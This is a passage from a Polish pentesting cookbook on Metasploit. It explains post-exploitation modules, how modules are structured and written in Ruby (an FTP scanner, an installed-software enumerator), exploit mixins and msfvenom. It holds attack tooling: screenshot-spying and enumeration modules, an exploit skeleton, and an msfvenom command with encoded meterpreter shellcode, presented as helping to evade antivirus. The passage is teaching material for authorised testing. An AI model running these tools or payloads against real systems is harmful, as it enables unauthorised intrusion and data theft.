-----------%systemroot%\system32\config\systemprofile C:\Windows\ServiceProfiles\LocalService C:\Windows\ServiceProfiles\NetworkService C:\Users\DARKLORD C:\Users\Winuser
Pomyślne uruchomienie modułu powoduje wyświetlenie dwóch tabel. Pierwsza z nich zawiera listę aktualnie zalogowanych użytkowników, a druga informacje o ostatnio zalogowanych użytkownikach. Prześledź odpowiednią ścieżkę podczas uruchamiania modułów. Do ich uruchomienia użyliśmy polecenia run. Ponieważ wszystkie są skryptami języka Ruby, Meterpreter może je łatwo zidentyfikować. 2. Przeanalizujmy jeszcze jeden przykład. Istnieje pewien interesujący moduł fazy poeksploatacyjnej, który przechwytuje zrzut ekranu pulpitu maszyny docelowej. Moduł ten może być przydatny, gdy musimy się dowiedzieć, czy istnieje jakikolwiek aktywny użytkownik, czy nie. Jest to następujący moduł: meterpreter > [*] Migrating [*] Migration [*] Capturing
run post/windows/gather/screen_spy to explorer.exe pid: 1104 successful 60 screenshots with a delay of 5 seconds
Możesz zauważyć, jak łatwe w użyciu i przydatne mogą być moduły fazy poeksploatacyjnej. W najbliższej przyszłości twórcy frameworku Metasploit będą skupiać się raczej na modułach fazy poeksploatacyjnej, a nie na Meterpreterze, ponieważ znacznie zwiększają one funkcjonalność testów penetracyjnych. Jeśli więc szukasz sposobności, aby wspomóc społeczność Metasploit, możesz popracować nad modułami fazy poeksploatacyjnej.
Jak to działa Przeanalizuj skrypty enum_logged_on_user.rb oraz screen_spy.rb z folderu modules/post/ windows/gather. Może pomóc Ci to lepiej zrozumieć sposób funkcjonowania tych modułów.
Podstawy budowy modułu Jak dotąd omówiliśmy przydatność modułów i potencjał, jaki mogą dodać do frameworku Metasploit. Aby biegle opanować korzystanie z tego frameworku, konieczne jest zrozumienie funkcjonowania i budowy modułów. Pomoże to w szybkim rozszerzeniu możliwości frameworku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki sposób możemy używać skryptów Ruby do budowania własnych modułów i importować je do frameworku.
131
Metasploit. Receptury pentestera
Przygotuj się Aby rozpocząć budowę własnego modułu, potrzebujemy podstawowej znajomości skryptów Ruby. Omówiliśmy już wykorzystanie i implementację języka programowania Ruby przy pisaniu skryptów Meterpretera. W tej recepturze zobaczymy, jak posłużyć się językiem Ruby przy tworzeniu nowych modułów dla frameworku. Proces ten jest bardzo podobny do pisania skryptów Meterpretera. Różnica polega na zastosowaniu zestawu uprzednio zdefiniowanych wierszy kodu, które są niezbędne, aby framework mógł zrozumieć wymagania i naturę modułu. Omówmy więc niektóre z zasadniczych wymagań, które muszą być spełnione przy budowie modułów.
Jak to wykonać Zacznijmy od podstaw tworzenia modułów: Aby moduł był czytelny dla frameworku, musimy zaimportować biblioteki MSF w sposób następujący: require 'msf/core'
Jest to pierwszy i najważniejszy wiersz kodu każdego skryptu. Wskazuje, że moduł będzie zawierał wszystkie zależności i funkcjonalności frameworku Metasploit. Kolejny wiersz definiuje klasę, która dziedziczy właściwości rodziny modułów pomocniczych. Moduł pomocniczy może importować kilka funkcjonalności, takich jak skanowanie, otwieranie połączeń, korzystanie z bazy danych itd.: class Metasploit3 < Msf::Auxiliary Instrukcja include może być wykorzystana w celu dodania do tworzonego modułu
konkretnej funkcjonalności frameworku. Jeżeli budujesz np. moduł skanera, możesz zastosować instrukcję: include Msf:: Następujący wiersz doda do modułu funkcjonalność zdalnego skanowania TCP: include Msf::Exploit::Remote::TCP Poniższy fragment kodu importuje główne biblioteki modułu skanowania
z bibliotek frameworku Metasploit: include include include include
Msf::Exploit::Remote::TCP Msf::Exploit::Capture Msf::Auxiliary::Scanner Msf::Auxiliary::Report
Kolejny fragment skryptu stanowi wprowadzenie do modułu, dostarczając
informacje takie jak jego nazwa, wersja, autor, opis itd.: def initialize super(
132
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
'Name' => 'TCP Port Scanner', 'Version' => '$Revision$', 'Description' => 'Enumerate open TCP services', 'Author' => [ darklord ], 'License' => MSF_LICENSE ) Następnych kilka wierszy skryptu jest używanych do inicjowania jego wartości. Opcje oznaczone jako true są zasadniczo wymagane dla modułów, natomiast opcje oznaczone jako no są opcjonalne. Te wartości mogą być wprowadzane lub
zmieniane w trakcie uruchamiania modułu: register_options( [ OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class) deregister_options('RPORT')
Są pewne wspólne wiersze skryptu, które znajdziesz w każdym module. Analiza wbudowanych skryptów jest najlepszym sposobem, aby dowiedzieć się więcej o ich budowie. Istnieje kilka opracowań na temat tworzenia modułów, ale najlepszym sposobem na naukę jest opanowanie pisania skryptów Ruby i analizowanie istniejących modułów. W następnej recepturze przeanalizujemy od podstaw cały moduł.
Analiza gotowego modułu W poprzedniej recepturze zapoznaliśmy się z podstawami budowania własnych modułów. Następnym krokiem będzie analiza istniejących modułów. Jeśli chcesz zgłębić tajniki przygotowywania modułów i przyczynić się do rozwoju platformy, powinieneś dokładniej zapoznać się ze skryptami istniejących modułów.
Przygotuj się Przeanalizujemy prosty moduł FTP, aby zgłębić tematykę budowania modułów. Zaczniemy od miejsca, w którym zakończyliśmy poprzednią recepturę. Omówiliśmy już podstawowy szablon modułu, przejdźmy więc od głównej części skryptu.
133
Metasploit. Receptury pentestera
Jak to wykonać Przeanalizujemy moduł anonimowego dostępu FTP: 1. Główny skrypt tego modułu znajduje się w folderze opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb Oto pełny skrypt: class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'Anonymous FTP Access Detection', 'Version' => '$Revision: 14774 $', 'Description'=> 'Detect anonymous (read/write) FTP server access.', 'References' => [ ['URL', 'http://en.wikipedia.org/ wiki/File_Transfer_Protocol# Anonymous_FTP'], ], 'Author' => 'Matteo Cantoni
134
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
report_auth_info( :host => :port => :sname => :user => :pass => :type => :active => )
target_host, rport, 'ftp', datastore['FTPUSER'], datastore['FTPPASS'], "password_#{access_type}", true
end disconnect rescue ::Interrupt raise $! rescue ::Rex::ConnectionError, ::IOError end end end
Przejdźmy do następnego punktu i przeanalizujmy skrypt szczegółowo.
Jak to działa Zacznijmy od analizy głównej części skryptu, aby zrozumieć, jak działa. Ta funkcja służy do rozpoczęcia połączenia. Zmienna res posiada wartość logiczną true (prawda) lub false (fałsz). Funkcja connect_login jest specyficzną funkcją używaną przez moduł w celu nawiązania połączenia ze zdalnym hostem. W zależności od tego, czy uda się nawiązać połączenie, odpowiednia wartość logiczna jest zapisywana w zmiennej res: def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8)
Po ustanowieniu połączenia moduł próbuje sprawdzić, czy anonimowy użytkownik posiada uprawnienia odczytu/zapisu (ang. read/write). Zmienna write_check sprawdza, czy operacja zapisu jest możliwa. Następnie sprawdzane jest, czy operacja została zakończona powodzeniem. W zależności od statusu uprawnień na ekranie wyświetlany jest odpowiedni komunikat. Jeśli operacja zapisu nie powiedzie się, zostanie wyświetlony status ro lub read-only (tylko do odczytu): if res write_check = send_cmd( ['MKD', dir] , true) if (write_check and write_check =~ /^2/) send_cmd( ['RMD', dir] , true) print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})") access_type = "rw"
135
Metasploit. Receptury pentestera
else print_status("#{target_host}:#{rport} Anonymous access_type="ro"
Następna funkcja służy do zgłaszania informacji o autoryzacji. Zawierają one ważne parametry, takie jak nazwa hosta, numer portu, nazwa użytkownika, hasło itd. Są to wartości, które pojawiają się, gdy używamy polecenia show options, są więc zależne od użytkownika. report_auth_info( :host :port :sname :user :pass :type :active ) end
=> => => => => => =>
target_host, rport, 'ftp', datastore['FTPUSER'], datastore['FTPPASS'], "password_#{access_type}", true
To była szybka demonstracja działania prostego modułu dostępnego we frameworku Metasploit. Możesz zmienić istniejące skrypty odpowiednio do swoich potrzeb. Czyni to z tego frameworku niezwykle przenośną platformę do programowania. Jak już powiedzieliśmy, najlepszym sposobem na naukę budowania modułów jest analizowanie istniejących skryptów. W następnej recepturze zobaczymy, jak zbudować własny moduł i przenieść go do frameworku Metasploit.
Budowanie własnego modułu fazy poeksploatacyjnej Omówiliśmy już wszystkie podstawowe kwestie dotyczące budowania modułów. W tej recepturze zajmiemy się przygotowaniem własnego modułu i zaimportowaniem go do frameworku Metasploit. Budowanie modułów może być bardzo przydatne, gdyż daje możliwość rozszerzenia funkcjonalności frameworku w zależności od własnych potrzeb.
Przygotuj się Zbudujmy mały moduł fazy poeksploatacyjnej, który przeprowadzi enumerację wszystkich zainstalowanych na maszynie docelowej aplikacji. Ponieważ jest to moduł fazy poeksploatacyjnej, będziemy potrzebować maszyny ze złamanymi zabezpieczeniami, aby uruchomić moduł:
136
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
1. Aby rozpocząć budowę modułu, najpierw zaimportujemy biblioteki frameworku i dołączymy wymagane zależności: require 'msf/core' require 'rex' require 'msf/core/post/windows/registry'
Skrypt rozpoczyna się od dołączenia bibliotek rdzeniowych frameworku Metasploit. Następnie tworzona jest klasa, która rozszerza właściwości modułów Msf :: Post. class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry
2. Tworzymy funkcję initialize, która jest wykorzystywana do zainicjowania i określenia właściwości modułu oraz jego opisu. Ta podstawowa struktura pozostaje taka sama w prawie wszystkich modułach. Należy zauważyć, że dodaliśmy wcześniej biblioteki 'rex' oraz 'registry'. W ten sposób framework łatwo rozpozna nasze wymagania dotyczące modułu. def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Installed Application Enumeration', 'Description' => %q{ This module will enumerate all installed applications }, 'License' => MSF_LICENSE, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end
Kolejnym krokiem jest stworzenie tabeli, która będzie wyświetlać wyodrębnione wyniki. Do tego celu można użyć specjalnej biblioteki Rex::Ui::Text. Musimy zdefiniować różne kolumny: def app_list tbl = Rex::Ui::Text::Table.new( 'Header' => "Installed Applications", 'Indent' => 1, 'Columns' => [ "Name", "Version" ])
Główna część skryptu rozpoczyna się od budowania tabeli i określenia nazw różnych kolumn. Następnie tworzona jest osobna tablica lokalizacji w rejestrze, która zostanie wykorzystana do enumeracji aplikacji. Tablica będzie składać się z różnych wpisów w rejestrze, które zawierają informacje na temat aplikacji zainstalowanych na maszynie docelowej. Informacje o aplikacjach są przechowywane w osobnej tablicy o nazwie apps.
137
Metasploit. Receptury pentestera
appkeys = [ 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', 'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\ CurrentVersion\\Uninstall', 'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\ CurrentVersion\\Uninstall', ] apps = []
3. Następnie rozpoczynamy proces enumeracji poprzez uruchomienie pętli, która sprawdza różne lokalizacje rejestru przechowywane w tablicy o nazwie appskey: appkeys.each do |keyx86| found_keys = registry_enumkeys(keyx86) if found_keys found_keys.each do |ak| apps << keyx86 +"\\" + ak end end end
Kolejne wiersze skryptu mają na celu wypełnienie tabeli różnymi wartościami w odpowiednich kolumnach. Skrypt wykorzystuje wbudowaną funkcję registry_getvaldata, która pobiera wartości z rejestru i dodaje je do tabeli: t = [] while(not apps.empty?) 1.upto(16) do t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k| begin dispnm = registry_getvaldata("#{k}","DisplayName") dispversion = registry_getvaldata("#{k}","DisplayVersion") tbl << [dispnm,dispversion] if dispnm and dispversion rescue end end
Kilka ostatnich wierszy skryptu służy do zapisywania informacji w oddzielnym pliku tekstowym o nazwie applications.txt. Plik jest zapełniany za pomocą funkcji store_loot function, która zapisuje pełną tabelę w pliku tekstowym. results = tbl.to_s print_line("\n" + results + "\n") p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications") print_status("Results stored in: #{p}") end def run
138
Rozdział 5. • Praca z modułami podczas testów penetracyjnych
4. Ostatecznie na ekranie wyświetlane są dane wyjściowe z informacją o utworzeniu pliku i zapisaniu w nim wyników. print_status("Enumerating applications installed on #{sysinfo['Computer']}") app_list end end
Następnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz upewnić się, że wybrałeś właściwy katalog do przechowywania modułu. Pomoże to frameworkowi wyraźnie określić użyteczność modułu i utrzyma hierarchię w platformie. Utrzymanie hierarchii podczas aktualizacji modułów ułatwi identyfikowanie przeznaczenia modułu. Zapisanie np. modułu przeglądarki Internet Explorer w folderze modules/exploits/windows/browser pomoże łatwo lokalizować w tym miejscu wszelkie nowe lub istniejące moduły przeglądarki. Określając lokalizację modułu, powinieneś wziąć pod uwagę następujące kwestie: 1. Typ modułu. 2. Działania przeprowadzane przez moduł. 3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla których moduł jest przeznaczony. Metasploit dla przechowywania modułów stosuje hierarchię od uogólnionego do wyspecjalizowanego formatu. Zaczyna się od rodzaju modułów, takich jak moduł exploita czy moduł pomocniczy. Następna w hierarchii jest uogólniona nazwa, np. nazwa systemu operacyjnego. Dalej tworzone są bardziej wyspecjalizowane funkcjonalności, które określają, że moduł jest np. wykorzystywany do przeglądarek internetowych. Na koniec używana jest najbardziej określona nazwa, np. konkretna nazwa przeglądarki internetowej, dla której przeznaczony jest moduł. Weźmy pod uwagę nasz moduł. Jest to moduł fazy poeksploatacyjnej, który jest używany do przeprowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym systemie. Powinniśmy więc przy zapisywaniu modułu zastosować odpowiednią konwencję. Naszą lokalizacją docelową powinien być folder modules/post/windows/gather/. Możesz zapisać moduł z wybraną nazwą i z rozszerzeniem .rb. Zapiszmy go jako enum_ applications.rb.
Jak to wykonać Kiedy już zapiszemy moduł w preferowanym katalogu, następnym krokiem będzie uruchomienie go i sprawdzenie, czy działa poprawnie. Proces uruchomienia modułu widzieliśmy w poprzednich recepturach.
139
Metasploit. Receptury pentestera
Użyjemy nazwy modułu, aby uruchomić go w konsoli msfconsole: msf> use post/windows/gather/enum_applications msf post(enum_applications) > show options Module options (post/windows/gather/enum_applcations) Name Current Setting -----------------SESSION
Required -------yes
Description ----------The session...
Jest to prosty przykład tego, jak można zbudować własny moduł i dodać go do frameworku Metasploit. Jeśli chcesz budować dobre moduły, na pewno potrzebujesz solidnej wiedzy na temat pisania skryptów Ruby. Możesz również wspomóc społeczność Metasploit poprzez publikację swoich modułów, aby inni mogli z nich korzystać.
140
6 Exploity W tym rozdziale: Struktura modułu Typowe domieszki exploitów Korzystanie z narzędzia msfvenom Konwertowanie exploita na moduł frameworku Metasploit Importowanie i testowanie nowego modułu exploita Fuzzowanie aplikacji za pomocą Metasploit Budowanie prostego fuzzera serwera FTP FileZilla
Wprowadzenie Rozpocznijmy ten rozdział od formalnego wprowadzenia do tematu exploitów. Exploitem mogą być element oprogramowania, fragment danych lub sekwencja poleceń, które wykorzystują lukę w zabezpieczeniach lub błąd innego oprogramowania w celu wykonania instrukcji zamierzonych przez użytkownika. Instrukcje te mogą wywołać nietypowe zachowanie w podatnym na ataki oprogramowaniu. Exploity odgrywają istotną rolę w testach penetracyjnych, ponieważ mogą zapewnić łatwe wejście do systemu docelowego. Jak dotąd szeroko korzystaliśmy z możliwości exploitów podczas przeprowadzania testów penetracyjnych. Należy jednak pamiętać, że nie możemy bezpośrednio wykorzystać we frameworku Metasploit żadnego samodzielnego dowodu koncepcji lub kodu exploita. Musimy najpierw przekształcić go na moduł zrozumiały dla frameworku. Proces ten jest podobny do budowania modułów pomocniczych, ale wymaga kilku dodatkowych elementów. W tym rozdziale omówimy szczegółowo wszystkie kwestie, z którymi powinieneś się zapoznać, jeśli korzystasz z exploitów we frameworku Metasploit. Nie będziemy jednak zajmować się aspekta-
Metasploit. Receptury pentestera
mi związanymi z budowaniem exploitów, ponieważ jest to odrębne zagadnienie. Wykorzystamy dostępne dowody koncepcji exploitów i zobaczymy, jak można zaimportować je do frameworku. Poznamy również niektóre z najbardziej istotnych domieszek (ang. mixins), które mogą ułatwić proces przekształcania exploitów w moduły Metasploit.
Typowe domieszki exploitów Domieszki to kompleksowe mechanizmy w języku Ruby, które dodają do modułów różne funkcjonalności. Domieszki oferują możliwość dodania wielu dziedziczeń w pojedynczym języku dziedziczenia, takim jak np. Ruby. Wykorzystywanie domieszek w modułach exploitów może być pomocne przy wywoływaniu różnych funkcji wymaganych przez exploity. Dlatego zapoznamy się z niektórymi istotnymi domieszkami exploitów frameworku Metasploit. Najpierw przyjrzyjmy się typowym domieszkom exploitów. Później zobaczymy ich implementacje w istniejącym module exploita. Domieszka Exploit::Remote::TCP zapewnia modułowi exploita funkcjonalność TCP. Może być wykorzystywana do ustanawiania połączenia TCP. Funkcje connect() i disconnect() są wykorzystywane odpowiednio do nawiązywania i przerywania połączeń. Ta domieszka wymaga różnych parametrów, takich jak RHOST, RPORT oraz SSL. Domieszka Exploit::Remote::UDP zapewnia modułowi exploita funkcjonalność
UDP. Protokół UDP jest zasadniczo traktowany jako tryb połączenia szybszy od TCP, więc jest to również przydatna opcja w modułach. Ta domieszka zawiera również domieszkę Rex::Socket::UDP, dzięki której nie musimy przejmować się konfiguracją połączeń gniazdowych z celem. Domieszka Exploit::Remote::DCERPC zapewnia metody narzędziowe dla interakcji z usługą DCE/RPC na zdalnej maszynie. Metody tej domieszki są użyteczne w kontekście eksploatacji. Domieszka ta rozszerza domieszkę TCP. Przykładami użytecznych funkcji domieszki DCE/RPC są metody takie jak dcerpc_call(), dcerpc_bind() itd. Domieszka Exploit::Remote::SMB definiuje funkcje, które mogą być pomocne
w komunikowaniu się z usługą SMB na zdalnej maszynie docelowej. Do niektórych użytecznych funkcji tej domieszki możemy zaliczyć metody takie jak smb_login(), smb_create() itd. Domieszka Exploit::BruteTargets jest używana przy atakach siłowych. Wykorzystuje funkcję exploit_target(target) do pozyskiwania adresu IP zdalnej
maszyny docelowej i przeprowadzania ataku brute force. Ta domieszka może zostać łatwo rozszerzona w różnych exploitach ataków siłowych. Domieszka Exploit::Remote::Ftp może być wykorzystywana do eksploatacji usługi FTP uruchomionej na zdalnej maszynie docelowej. Zawiera domieszkę Remote::TCP, która służy ustanawianiu połączenia ze zdalną maszyną docelową. Wykorzystuje funkcję connect(), która przyjmuje parametry RHOST i RPORT w celu połączenia się z serwerem FTP na zdalnym systemie.
142
Rozdział 6. • Exploity
Domieszka Exploit::Remote::MSSQL jest pomocna w kwerendowaniu zdalnej bazy danych. Funkcja Mssql_ping() wysyła zapytanie o dostępność bazy danych i zapisuje odpowiedź ping w postaci skrótu (hasza). Funkcja Mssql_xpcmdshell() jest wykorzystywana do wykonania poleceń systemowych za pomocą opcji xp_cmdshell.
Ta domieszka jest bardzo przydatna w exploitach przeznaczonych dla MS SQL. Domieszka Exploit::Capture jest pomocna w przechwytywaniu pakietów danych przesyłanych w sieci. Funkcja open_pcap() jest wykorzystywana do skonfigurowania urządzenia, które ma przechwytywać przepływające przez nie pakiety. Domieszka wymaga zainstalowania na danej maszynie bibliotek pccap. Do dwóch istotnych funkcji tej domieszki należą inject(pkt="", pcap=self.capture) oraz inject_reply(). Pierwsza z nich jest odpowiedzialna za wstrzykiwanie pakietów do urządzeń sieciowych, a druga raportuje pakiet wynikowy zwrócony przez urządzenie, w zależności od pakietu wstrzykniętego. Powyżej opisano niektóre istotne domieszki exploitów, które mogą być bardzo przydatne podczas pracy z modułami exploitów we frameworku Metasploit. Zastosowanie domieszek pozwala uniknąć konieczności ciągłego kodowania tych samych modułów za każdym razem od nowa. Architektura modułowa jest bardzo elastyczna, ponieważ ułatwia wielokrotne wykorzystywanie tych samych kodów. Jak już wspomniano, domieszki są wykorzystywane do zapewnienia wielu dziedziczeń w pojedynczym języku dziedziczenia, takim jak Ruby. Oznacza to, że możemy w zależności od potrzeb wywoływać różne funkcjonalności w dowolnym module. Jeśli chcemy np. ustanowić połączenie TCP w naszym module exploita, nie musimy w tym celu definiować kompletnej funkcji. Możemy po prostu w module wywołać domieszkę Exploit::Remote::TCP i wykorzystać jej funkcjonalność. Zapoznajmy się jeszcze z innymi ważnymi domieszkami.
Inne domieszki Poza omówionymi do tej pory, we frameworku dostępnych jest jeszcze wiele innych istotnych domieszek. Należą do nich fileformat, imap, java, smtp, seh itd. Znajdziesz je w folderze lib/msf/core/exploit. W tym rozdziale przedstawimy kilka receptur poświęconych modułom fuzzerów.
Struktura modułu Istotne jest zapoznanie się ze strukturą modułów, gdyż może to okazać się pomocne przy przeprowadzaniu odpowiedniej analizy różnych modułów exploitów. Ponieważ framework Metasploit jest projektem open source, jego rozwój zależy od wkładu wnoszonego przez członków społeczności branży zabezpieczeń. Programiści z całego świata przekształcają dowody
143
Metasploit. Receptury pentestera
koncepcji różnych exploitów w moduły Metasploit, aby każdy mógł z nich skorzystać. Dlatego również możesz zaoferować tej społeczności swój wkład, konwertując nowo odkryte exploity do postaci modułów. Ponadto może się zdarzyć, że będziesz potrzebował konkretnego exploita, który nie jest dostępny we frameworku. Znajomość struktury modułu pomoże Ci łatwo przekształcać takie exploity w moduły. W tej recepturze przedstawimy podstawową strukturę modułu.
Przygotuj się Rozpocznijmy od wyjaśnienia, na czym polega modułowa struktura exploitów dostępnych we frameworku Metasploit. Jest ona podobna do struktury modułów pomocniczych, ale posiada kilka dodatkowych elementów. Moduły exploitów znajdują się w katalogu /opt/metasploit/msf3/ modules/exploits. Przeanalizujmy strukturę exploitów za pomocą konsoli msfconsole.
Jak to wykonać Zobaczmy, jak to zrobić, wykonując następujące czynności: Jak wspomniano wcześniej, format modułu exploita jest zbliżony do struktury modułu pomocniczego, ale posiada kilka dodatkowych elementów. Skrypt modułu rozpoczyna się załączeniem bibliotek MSFcore, wraz z deklaracją klasy, która rozszerza właściwości istotne dla exploita. W tym przykładzie klasa Metasploit3 rozszerza biblioteki Remote Exploit. Ponadto w skrypcie załączono też inne biblioteki, takie jak TCP: require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE Następnie mamy funkcję initialize, która jest stosowana do inicjowania różnych
wartości oraz definiowania zawartości modułu. Podstawowe definicje tej funkcji obejmują takie elementy jak Name (nazwa), Description (opis), Author (autor), Version (wersja) itd.: def initialize(info = {}) super(update_info(info, 'Name' => '', 'Description') Kolejny fragment skryptu to opcje rejestrowania, które są odpowiedzialne
za zapewnienie podstawowych i domyślnych wartości skryptu. Wartości te mogą być również zmieniane w zależności od potrzeb użytkownika:
144
Rozdział 6. • Exploity
register_options( [ Opt::RPORT(7777), ], self.class) end Wszystkie opisane dotąd elementy wyglądają podobnie jak w modułach pomocniczych. Różnica tkwi w definiowaniu funkcji exploit(): def exploit connect() sock.put(payload.encoded) handler() disconnect() end
Jest to główna część exploita danego modułu, która zawiera kod powłoki lub wzorzec wzorca. Zawartość tej funkcji różni się w zależności od danego exploita. W części głównej tej funkcji są umieszczone kluczowe cechy, które może posiadać zdalny exploit. Funkcja connect() jest wykorzystywana do otwierania zdalnego połączenia z celem. Jest ona zdefiniowana w bibliotece Remote::TCP. Zasadniczym elementem głównej części exploita jest również ładunek, który pomaga w ustanawianiu połączeń zwrotnych. W zależności od potrzeb, możemy również w głównej części exploita zdefiniować procedury obsługi połączeń (ang. handlers). Opcjonalnie możesz również zadeklarować funkcję sprawdzania luk w zabezpieczeniach check(), która weryfikuje, czy cel jest podatny na ataki. Weryfikacja jest przeprowadzana dla wszystkich opcji z wyjątkiem ładunku. Powyżej zamieszczono podstawowe wprowadzenie do struktury modułów exploitów we frameworku Metasploit. W następnych recepturach zajmiemy się kolejnymi koncepcjami dotyczącymi exploitów Metasploit.
Jak to działa Przeanalizowana przez nas struktura modułu exploita obrazuje sposób, w jaki różne kwestie programowania są traktowane we frameworku Metasploit. Weźmy np. pod uwagę funkcję def initialize(), która pomaga modułowi w rozpoznaniu typowych definicji exploita. Analogicznie funkcja register_options() jest wykorzystywana przez Metasploit do zebrania różnych parametrów lub przypisania modułowi exploita domyślnych wartości parametrów. W tej kwestii przydatna okazuje się właśnie architektura modułowa. W dalszej części rozdziału dowiesz się, jak przekształcić istniejący kod exploita w moduł frameworku Metasploit.
145
Metasploit. Receptury pentestera
Korzystanie z narzędzia msfvenom W rozdziale 4. omówione zostały narzędzia msfencode oraz msfpayload. Zróbmy krótkie przypomnienie. Funkcja msfpayload jest wykorzystywana do wygenerowania pliku binarnego na podstawie ładunku, podczas gdy funkcja msfencode jest stosowana do zakodowania pliku binarnego za pomocą różnych technik kodowania. Zajmiemy się teraz kolejnym narzędziem frameworku Metasploit, które jest połączeniem dwóch powyżej wspomnianych funkcji. To narzędzie może odgrywać istotną rolę w generowaniu exploitów, które mogą być wykonywane skrycie.
Przygotuj się Aby rozpocząć eksperyment z narzędziem msfvenom, uruchom okno terminala i wpisz polecenie msfvenom –h.
Jak to wykonać Przyjrzyjmy się teraz różnym dostępnym opcjom: root@bt:~# msfvenom -h
Wpisanie powyższego polecenia spowoduje wyświetlenie informacji przedstawionych na poniższym rysunku:
Wyświetlonych zostało kilka interesujących parametrów, którym możemy się przyjrzeć. Parametr –n tworzy NOP sled o rozmiarze ładunku. Kolejny ciekawy parametr to –b, który pozwala uniknąć zastosowania typowych znaków exploita, takich jak \x00. Może to być przydatne przy omijaniu ochrony antywirusowej. Reszta parametrów jest podobna do tych, które można znaleźć w narzędziach msfpayload i msfencode.
146
Rozdział 6. • Exploity
NOP slide, NOP sled oraz NOP ramp to sekwencje pustych instrukcji, czyli instrukcji NOP (ang. no-operation instruction), których celem jest „ześlizgnięcie” się (ang. slide) po przepływie wykonywania instrukcji CPU, aż do końcowego, pożądanego miejsca przeznaczenia.
Jak to działa Aby skorzystać z narzędzia msfvenom, musimy wskazać ładunek oraz format kodowania. Wykonajmy to teraz w oknie terminala: root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/ shikata_ga_nai -b '\x00' -i 3 [*] x86/shikata_ga_nai succeeded with size 325 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 352 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 379 (iteration=3) buf = "\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" + "\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" + "\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" + "\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" + "\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" + "\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +
Zwróć uwagę na różne parametry wpisane wraz z ładunkiem. Dzięki zastosowaniu parametru –b unikniemy użycia w kodzie powłoki znaków \x00, czyli bajtów zerowych (ang. null bytes). Możemy wykorzystać ten kod powłoki w naszym exploicie. Narzędzie msfvenom może być bardzo pomocne w szybkim generowaniu kodów powłoki na podstawie różnych ładunków dostępnych we frameworku Metasploit. Uzyskane kody powłoki mogą zostać zaimplementowane w kodzie exploita w celu zapewnienia połączenia zwrotnego z maszyną atakującą, po przeprowadzeniu udanej eksploatacji luki w zabezpieczeniach.
Konwertowanie exploita na moduł frameworku Metasploit Jak dotąd korzystaliśmy z exploitów w celu złamania zabezpieczeń maszyny docelowej. W tej recepturze przejdziemy na kolejny poziom doświadczenia związanego z wykorzystaniem modułów. Zbudujemy kompletny moduł exploita, wykorzystując dostępny dowód koncepcji (ang. proof of concept — PoC). Umiejętność przekształcania w moduły jest zasadniczym czynnikiem przy konwertowaniu każdego nowego exploita na moduł frameworku i przeprowadzaniu testów penetracyjnych bez konieczności czekania na aktualizacje publikowane przez zespół 147
Metasploit. Receptury pentestera
Metasploit. Ponadto nie ma możliwości, aby każdy exploit był dostępny w postaci modułu frameworku. Przejdźmy do dalszej części receptury i zobaczmy, jak budować własne moduły exploitów, wykorzystując dostępne dowody koncepcji.
Przygotuj się Na początek wybierzmy dowolny exploit, który możemy przekonwertować na moduł. Skorzystajmy z exploita gAlan Zero day, dostępnego do pobrania pod adresem http://www.exploit-db. com/exploits/10339. Narzędzie gAlan jest procesorem dźwięku (działającym zarówno online, jak i offline), przeznaczonym dla systemów X Windows oraz dla systemów opartych na Win32. Pozwala budować syntetyzatory, łańcuchy efektów, miksery, sekwencery, automaty perkusyjne itd. Odbywa się to w sposób modułowy za pomocą łączenia ze sobą ikon reprezentujących elementarne komponenty przetwarzania dźwięku. Exploit przeznaczony dla narzędzia gAlan będzie działał tylko wtedy, kiedy ofiara będzie używać tej aplikacji, a atakujący zdobędzie tę informację wcześniej. Dlatego konieczne jest, aby atakujący posiadał wiedzę o aplikacjach zainstalowanych na maszynie ofiary. W oprogramowaniu przepełnienie stosu (ang. stack overflow) ma miejsce, kiedy w stosie wywołań (ang. call stack) wykorzystywana jest zbyt duża ilość pamięci. Stos wywołań to stos wykonawczy (ang. runtime stack) aplikacji, posiadający ograniczoną ilość pamięci, która jest często określana w momencie uruchamiania danego programu. Rozmiar stosu wywołań zależy od wielu czynników, w tym od języka programowania, architektury komputera, obsługi 